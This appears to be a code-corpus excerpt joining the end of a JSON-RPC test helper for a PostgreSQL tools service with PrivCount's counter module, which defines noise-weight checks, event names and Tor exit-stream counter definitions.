JSONRPCMessageType.Request
)
@staticmethod
def version():
return RPCTestMessage('version', None, JSONRPCMessageType.Request)
@staticmethod
def change_configuration():
return RPCTestMessage(
'workspace/didChangeConfiguration',
'{"settings":{"pgsql":{"logDebugInfo":false,"enabled":true,"defaultDatabase":"postgres","format":{"keywordCase":null,"identifierCase":null,"stripComments":false,"reindent":true}}}}', # noqa
JSONRPCMessageType.Notification
)
@staticmethod
def list_capabilities():
return RPCTestMessage(
'capabilities/list',
'{"hostName":"carbon","hostVersion":"1.0"}',
JSONRPCMessageType.Request
)
@staticmethod
def connection_request(owner_uri, connection_options):
connection_request = RPCTestMessage(
'connection/connect',
'{"ownerUri":"%s","connection":{"options":%s}}' % (owner_uri, json.dumps(connection_options)),
JSONRPCMessageType.Request,
notification_verifiers=[(
lambda notification: notification['method'] == 'connection/complete' and notification['params']['ownerUri'] == owner_uri,
None
)]
)
language_flavor_notification = RPCTestMessage(
'connection/languageflavorchanged',
'{"uri":"%s","language":"sql","flavor":"PGSQL"}' % owner_uri,
JSONRPCMessageType.Notification,
notification_verifiers=[(
lambda notification: notification['method'] == 'textDocument/intelliSenseReady' and notification['params']['ownerUri'] == owner_uri,
None
)]
)
return (connection_request, language_flavor_notification)
@staticmethod
def shutdown():
return RPCTestMessage('shutdown', None, JSONRPCMessageType.Request)
| en | 0.808693 | # -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- Module for testing expected JSON RPC input/outputs when the tools service is being used Class representing an individual JSON RPC message sent as part of an end-to-end integration test :param method: The name of the JSON RPC method (e.g. 'connection/connect') :param message_type: The JSONRpcMessageType for the message :param expect_error_response: Whether the server will respond to this message with an error. This parameter will be ignored for non-request messages. Default is False. :param response_verifier: An optional callback that will be called with the response object, which can be used to verify that the response is the expected one. This parameter will be ignored for non-request messages. For request messages, if this is not provided, the test will verify that some response was sent, but will not verify its details. :param notification_verifiers: An optional list of verifiers that can be used to verify that the server sent the expected notifications following this message. Each verifier is a tuple where the first element is a filter function to determine if a given notification was sent in response to this message, and the second element is an optional verifier that will be called for each notification that the filter function returns True for. If the message causes the server to send back notifications, this argument must be provided. For a request message, initialize its request ID # Start the server # Send all messages to the server # Process the output into responses and notifications # Verify that each request has a response # Verify that the response is or is not an error, as expected # Run the response verifier if present # Verify the notifications # If there was more than 1 notification matching the filter, take the first one that matches # Set up the server's input and output # Number of times write called, Condition variable for monitoring info # Mock the server output stream's write method so that the test knows how many messages have been written # noqa | 2.151183 | 2 |
privcount/counter.py | privcount/privcount | 29 | 6616179 | '''
Created on Dec 6, 2016
@author: teor
See LICENSE for licensing information
'''
import logging
import sys
from random import SystemRandom
from copy import deepcopy
from math import sqrt, isnan
from privcount.config import _extra_keys, _common_keys
from privcount.log import format_period, format_elapsed_time_since, format_delay_time_until, summarise_list
DEFAULT_SIGMA_TOLERANCE = 1e-6
DEFAULT_EPSILON_TOLERANCE = 1e-15
DEFAULT_SIGMA_RATIO_TOLERANCE = 1e-6
DEFAULT_DUMMY_COUNTER_NAME = 'ZeroCount'
# The label used for the default noise weight for testing
# Labels are typically data collector relay fingerprints
DEFAULT_NOISE_WEIGHT_NAME = '*'
def counter_modulus():
'''
The hard-coded modulus value for a blinded counter
Blinded counters are unsigned
In PrivCount, this does not have to be prime, and there is no need for it
to be configurable
All PrivCount counters should use unlimited-length Python longs, so that
counter_modulus can exceed 64 bits, the size of a native C long
'''
# PrivCount counters are limited by the modulus, so it needs to be large
# Here's an over-estimate of PrivCount's capacity:
# In 2016, Tor traffic was 75 Gbits, or ~2**34 bytes per second
# (In 2015, Internet traffic was 230 Tbits, or ~2**43 bytes per second)
# Tor traffic might grow by 2**10 while PrivCount is in use
# A year has ~2**25 seconds
# PrivCount counters overflow at modulus/2
# 2**34 * 2**10 * 2**25 * 2 = 2**70
# Using modulus > 2**64 also ensures PrivCount is unlimited-integer clean
# and that it can handle longs that just happen to be integers
# (1 in 2**6 blinding factors are less than 2**64)
return 2L**70L
# historical q values
#return 2147483647L
#return 999999999959L
# modulus was limited to 2**64 when sample() only unpacked 8 bytes
#return 2L**64L
def min_blinded_counter_value():
'''
The hard-coded minimum value for a blinded counter
Blinded counters are unsigned
Always zero
'''
return 0L
def max_blinded_counter_value():
'''
The hard-coded maximum value for a blinded counter
Blinded counters are unsigned
'''
return counter_modulus() - 1L
def min_tally_counter_value():
'''
The hard-coded minimum value for a tallied counter
Tallied counters are signed, to allow for negative noise
'''
return adjust_count_signed((counter_modulus() + 1L)//2L,
counter_modulus())
def max_tally_counter_value():
'''
The hard-coded maximum value for a tallied counter
Tallied counters are signed, to allow for negative noise
'''
return adjust_count_signed((counter_modulus() + 1L)//2L - 1L,
counter_modulus())
def add_counter_limits_to_config(config):
'''
Add the hard-coded counter limits to a deep copy of the config dictionary
Returns the modified deep copy of the config dictionary
'''
assert config is not None
config = deepcopy(config)
# call this modulus so it sorts near the other values
config['modulus'] = counter_modulus()
config['min_blinded_counter_value'] = min_blinded_counter_value()
config['max_blinded_counter_value'] = max_blinded_counter_value()
config['min_tally_counter_value'] = min_tally_counter_value()
config['max_tally_counter_value'] = max_tally_counter_value()
return config
MAX_DC_COUNT = 10**6
def check_dc_threshold(dc_threshold, description="threshold"):
'''
Check that dc_threshold is a valid dc threshold.
DC thresholds must be positive non-zero, and less than or equal to
MAX_DC_COUNT.
Returns True if the dc threshold is valid.
Logs a specific warning using description and returns False if it is not.
'''
if dc_threshold <= 0:
logging.warning("Data collector {} must be at least 1, was {}"
.format(description, dc_threshold))
return False
if dc_threshold > MAX_DC_COUNT:
logging.warning("Data collector {} can be at most {}, was {}"
.format(description, MAX_DC_COUNT, dc_threshold))
return False
return True
def check_noise_weight_value(noise_weight_value, description="value"):
'''
Check that noise_weight_value is a valid noise weight.
Noise weights must be positive and less than or equal to the maximum
tallied counter value.
Returns True if the noise weight value is valid.
Logs a specific warning using description, and returns False if it is not.
'''
if noise_weight_value < 0.0:
logging.warning("Noise weight {} must be positive, was {}".format(
description, noise_weight_value))
return False
if noise_weight_value > max_tally_counter_value():
logging.warning("Noise weight {} can be at most {}, was {}".format(
description, max_tally_counter_value(), noise_weight_value))
return False
return True
def check_noise_weight_sum(noise_weight_sum, description="sum"):
'''
Check that noise_weight_sum is a valid summed noise weight.
Noise weight sums must pass check_noise_weight_value().
Returns True if the noise weight sum is valid.
Logs a specific warning using description and returns False if it is not.
'''
if not check_noise_weight_value(noise_weight_sum, description):
return False
return True
def get_noise_weight_default(noise_weight_config):
'''
Returns the default noise weight, if present in noise_weight_config.
Otherwise, returns None.
'''
return noise_weight_config.get(DEFAULT_NOISE_WEIGHT_NAME, None)
def has_noise_weight_default(noise_weight_config):
'''
Returns True if noise_weight_config has a default noise weight.
Otherwise, returns False.
'''
return get_noise_weight_default(noise_weight_config) is not None
def get_noise_weight(noise_weight_config, fingerprint):
'''
Returns the noise weight for fingerprint, which can be None.
If fingerprint does not have a noise weight (or is None), return the
default noise weight (if any).
Otherwise, returns None.
'''
if fingerprint is not None and fingerprint in noise_weight_config:
return noise_weight_config[fingerprint]
elif has_noise_weight_default(noise_weight_config):
return get_noise_weight_default(noise_weight_config)
else:
return None
def has_noise_weight(noise_weight_config, fingerprint):
'''
Returns True if fingerprint has a noise weight. fingerprint can be None.
If fingerprint is None or missing, returns True if there is a default
noise weight.
If fingerprint does not have a noise weight, returns False.
'''
return get_noise_weight(noise_weight_config, fingerprint) is not None
def check_noise_weight_config(noise_weight_config, dc_threshold):
'''
Check that noise_weight_config is a valid noise weight configuration.
Each noise weight must also pass check_noise_weight_value().
Returns True if the noise weight config is valid.
Logs a specific warning and returns False if it is not.
'''
if not check_dc_threshold(dc_threshold):
return False
# there must be noise weights for a threshold of DCs, or there must be
# a default noise weight
if (len(noise_weight_config) < dc_threshold and
not has_noise_weight_default(noise_weight_config)):
logging.warning("There must be at least as many noise weights as the threshold of data collectors, or there must be a default noise weight. Noise weights: {}, Threshold: {}."
.format(len(noise_weight_config), dc_threshold))
return False
# each noise weight must be individually valid
for dc in noise_weight_config:
if not check_noise_weight_value(noise_weight_config[dc]):
return False
# calculate the maximum possible noise weight
noise_weight_sum = sum(noise_weight_config.values())
# if there is a default, assume a threshold of relays might use it
if has_noise_weight_default(noise_weight_config):
default_weight = get_noise_weight_default(noise_weight_config)
# adjust the sum for the extra default value
noise_weight_sum -= default_weight
# add a threshold of that weight
assert dc_threshold > 0
noise_weight_sum += dc_threshold*default_weight
# the sum must be valid
if not check_noise_weight_sum(noise_weight_sum):
return False
return True
def check_event_set_case(event_set):
'''
Check that event_set is a set, and each event in it has the correct case
Returns True if all checks pass, and False if any check fails
'''
if not isinstance(event_set, (set, frozenset)):
return False
for event in event_set:
if event != event.upper():
return False
return True
def check_event_set_valid(event_set):
'''
Check that event_set passes check_event_set_case, and also that each event
is in the set of valid events
Returns True if all checks pass, and False if any check fails
'''
if not check_event_set_case(event_set):
return False
for event in event_set:
if event not in get_valid_events():
return False
return True
# internal
CELL_EVENT = 'PRIVCOUNT_CIRCUIT_CELL'
BYTES_EVENT = 'PRIVCOUNT_STREAM_BYTES_TRANSFERRED'
STREAM_EVENT = 'PRIVCOUNT_STREAM_ENDED'
CIRCUIT_EVENT = 'PRIVCOUNT_CIRCUIT_CLOSE'
CONNECTION_EVENT = 'PRIVCOUNT_CONNECTION_CLOSE'
HSDIR_STORE_EVENT = 'PRIVCOUNT_HSDIR_CACHE_STORE'
HSDIR_FETCH_EVENT = 'PRIVCOUNT_HSDIR_CACHE_FETCH'
VITERBI_PACKETS_EVENT = 'PRIVCOUNT_VITERBI_PACKETS'
VITERBI_STREAMS_EVENT = 'PRIVCOUNT_VITERBI_STREAMS'
# Unused events
# PrivCount never used this event, it was used by PrivEx
DNS_EVENT = 'PRIVCOUNT_DNS_RESOLVED'
# We don't use this event any more, but the Tor patch still produces it, for
# compatibility with older versions
LEGACY_CIRCUIT_EVENT = 'PRIVCOUNT_CIRCUIT_ENDED'
LEGACY_CONNECTION_EVENT = 'PRIVCOUNT_CONNECTION_ENDED'
def get_valid_events():
'''
Return a set containing the name of each privcount event, in uppercase
'''
event_set = { CELL_EVENT,
BYTES_EVENT,
STREAM_EVENT,
CIRCUIT_EVENT,
CONNECTION_EVENT,
HSDIR_STORE_EVENT,
HSDIR_FETCH_EVENT,
VITERBI_PACKETS_EVENT,
VITERBI_STREAMS_EVENT,
# Unused events
DNS_EVENT,
LEGACY_CIRCUIT_EVENT,
LEGACY_CONNECTION_EVENT,
}
assert check_event_set_case(event_set)
return event_set
# when you modify this list, update the test counters, and run:
# test/test_counter_match.sh
PRIVCOUNT_COUNTER_EVENTS = {
# these counters depend on bytes transferred event
# they are updated in _handle_circuit_cell_event_traffic_model
# these counters are for the traffic model code
# model-specific counters are added in register_dynamic_counter
# viterbi paths for packet modeling are counted on stream end events
'ExitStreamTrafficModelStreamCount' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelEmissionCount' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelTransitionCount' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelDelayTime' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelLogDelayTime' : { VITERBI_PACKETS_EVENT },
'ExitStreamTrafficModelSquaredLogDelayTime' : { VITERBI_PACKETS_EVENT },
# viterbi paths for stream modeling are counted on circuit end events
'ExitCircuitTrafficModelCircuitCount' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelEmissionCount' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelTransitionCount' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelDelayTime' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelLogDelayTime' : { VITERBI_STREAMS_EVENT },
'ExitCircuitTrafficModelSquaredLogDelayTime' : { VITERBI_STREAMS_EVENT },
'ExitStreamCount' : { STREAM_EVENT },
'ExitStreamByteCount' : { STREAM_EVENT },
'ExitStreamOutboundByteCount' : { STREAM_EVENT },
'ExitStreamInboundByteCount' : { STREAM_EVENT },
'ExitStreamByteHistogram' : { STREAM_EVENT },
'ExitStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitStreamByteRatio' : { STREAM_EVENT },
'ExitStreamLifeTime' : { STREAM_EVENT },
# Port Classification
'ExitWebStreamCount' : { STREAM_EVENT },
'ExitWebStreamByteCount' : { STREAM_EVENT },
'ExitWebStreamOutboundByteCount' : { STREAM_EVENT },
'ExitWebStreamInboundByteCount' : { STREAM_EVENT },
'ExitWebStreamByteHistogram' : { STREAM_EVENT },
'ExitWebStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitWebStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitWebStreamByteRatio' : { STREAM_EVENT },
'ExitWebStreamLifeTime' : { STREAM_EVENT },
'ExitInteractiveStreamCount' : { STREAM_EVENT },
'ExitInteractiveStreamByteCount' : { STREAM_EVENT },
'ExitInteractiveStreamOutboundByteCount' : { STREAM_EVENT },
'ExitInteractiveStreamInboundByteCount' : { STREAM_EVENT },
'ExitInteractiveStreamByteHistogram' : { STREAM_EVENT },
'ExitInteractiveStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitInteractiveStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitInteractiveStreamByteRatio' : { STREAM_EVENT },
'ExitInteractiveStreamLifeTime' : { STREAM_EVENT },
'ExitP2PStreamCount' : { STREAM_EVENT },
'ExitP2PStreamByteCount' : { STREAM_EVENT },
'ExitP2PStreamOutboundByteCount' : { STREAM_EVENT },
'ExitP2PStreamInboundByteCount' : { STREAM_EVENT },
'ExitP2PStreamByteHistogram' : { STREAM_EVENT },
'ExitP2PStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitP2PStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitP2PStreamByteRatio' : { STREAM_EVENT },
'ExitP2PStreamLifeTime' : { STREAM_EVENT },
'ExitOtherPortStreamCount' : { STREAM_EVENT },
'ExitOtherPortStreamByteCount' : { STREAM_EVENT },
'ExitOtherPortStreamOutboundByteCount' : { STREAM_EVENT },
'ExitOtherPortStreamInboundByteCount' : { STREAM_EVENT },
'ExitOtherPortStreamByteHistogram' : { STREAM_EVENT },
'ExitOtherPortStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitOtherPortStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitOtherPortStreamByteRatio' : { STREAM_EVENT },
'ExitOtherPortStreamLifeTime' : { STREAM_EVENT },
# Is this stream *not* on port 80 or 443?
# Includes Interactive, P2P, and Other
'ExitNonWebStreamCount' : { STREAM_EVENT },
'ExitNonWebStreamByteCount' : { STREAM_EVENT },
'ExitNonWebStreamOutboundByteCount' : { STREAM_EVENT },
'ExitNonWebStreamInboundByteCount' : { STREAM_EVENT },
'ExitNonWebStreamByteHistogram' : { STREAM_EVENT },
'ExitNonWebStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitNonWebStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitNonWebStreamByteRatio' : { STREAM_EVENT },
'ExitNonWebStreamLifeTime' : { STREAM_EVENT },
# IP version after DNS resolution
'ExitIPv4StreamCount' : { STREAM_EVENT },
'ExitIPv4StreamByteCount' : { STREAM_EVENT },
'ExitIPv4StreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4StreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4StreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4StreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4StreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4StreamByteRatio' : { STREAM_EVENT },
'ExitIPv4StreamLifeTime' : { STREAM_EVENT },
'ExitIPv6StreamCount' : { STREAM_EVENT },
'ExitIPv6StreamByteCount' : { STREAM_EVENT },
'ExitIPv6StreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6StreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6StreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6StreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6StreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6StreamByteRatio' : { STREAM_EVENT },
'ExitIPv6StreamLifeTime' : { STREAM_EVENT },
# IP version or hostname before DNS resolution
'ExitIPv4LiteralStreamCount' : { STREAM_EVENT },
'ExitIPv4LiteralStreamByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4LiteralStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6LiteralStreamCount' : { STREAM_EVENT },
'ExitIPv6LiteralStreamByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6LiteralStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameStreamCount' : { STREAM_EVENT },
'ExitHostnameStreamByteCount' : { STREAM_EVENT },
'ExitHostnameStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameStreamLifeTime' : { STREAM_EVENT },
# Hostnames on Web and Non-Web streams
'ExitHostnameWebStreamCount' : { STREAM_EVENT },
'ExitHostnameWebStreamByteCount' : { STREAM_EVENT },
'ExitHostnameWebStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameWebStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameNonWebStreamCount' : { STREAM_EVENT },
'ExitHostnameNonWebStreamByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameNonWebStreamLifeTime' : { STREAM_EVENT },
# Position of stream on circuit
# These also use CIRCUIT_EVENT, because that avoids collisions between old and
# new streams with the same circuit id. See #451.
'ExitInitialStreamCount' : { STREAM_EVENT },
'ExitInitialStreamByteCount' : { STREAM_EVENT },
'ExitInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitInitialStreamByteRatio' : { STREAM_EVENT },
'ExitInitialStreamLifeTime' : { STREAM_EVENT },
'ExitSubsequentStreamCount' : { STREAM_EVENT },
'ExitSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitSubsequentStreamLifeTime' : { STREAM_EVENT },
# IP version after DNS resolution and position
'ExitIPv4InitialStreamCount' : { STREAM_EVENT },
'ExitIPv4InitialStreamByteCount' : { STREAM_EVENT },
'ExitIPv4InitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4InitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4InitialStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4InitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4InitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4InitialStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4InitialStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6InitialStreamCount' : { STREAM_EVENT },
'ExitIPv6InitialStreamByteCount' : { STREAM_EVENT },
'ExitIPv6InitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6InitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6InitialStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6InitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6InitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6InitialStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6InitialStreamLifeTime' : { STREAM_EVENT },
# IP version or hostname before DNS resolution and position
'ExitIPv4LiteralInitialStreamCount' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4LiteralInitialStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamCount' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6LiteralInitialStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameInitialStreamCount' : { STREAM_EVENT },
'ExitHostnameInitialStreamByteCount' : { STREAM_EVENT },
'ExitHostnameInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameInitialStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameInitialStreamLifeTime' : { STREAM_EVENT },
# The base counts for the ExitDomain*Web*Stream* counters
'ExitHostnameWebInitialStreamCount' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamByteCount' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameWebInitialStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamCount' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameWebSubsequentStreamLifeTime' : { STREAM_EVENT },
# The non-web equivalents of ExitHostnameWebInitial/SubsequentStream*
'ExitHostnameNonWebInitialStreamCount' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameNonWebInitialStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamCount' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitHostnameNonWebSubsequentStreamLifeTime' : { STREAM_EVENT },
# IP version after DNS resolution and position
'ExitIPv4SubsequentStreamCount' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamByteCount' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4SubsequentStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamCount' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamByteCount' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6SubsequentStreamLifeTime' : { STREAM_EVENT },
# IP version or hostname before DNS resolution and position
'ExitIPv4LiteralSubsequentStreamCount' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitIPv4LiteralSubsequentStreamLifeTime' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamCount' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamOutboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamInboundByteCount' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamOutboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamInboundByteHistogram' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamByteRatio' : { STREAM_EVENT },
'ExitIPv6LiteralSubsequentStreamLifeTime' : { STREAM_EVENT },
'ExitHostnameSubsequentStreamCount' : { STREAM_EVENT },
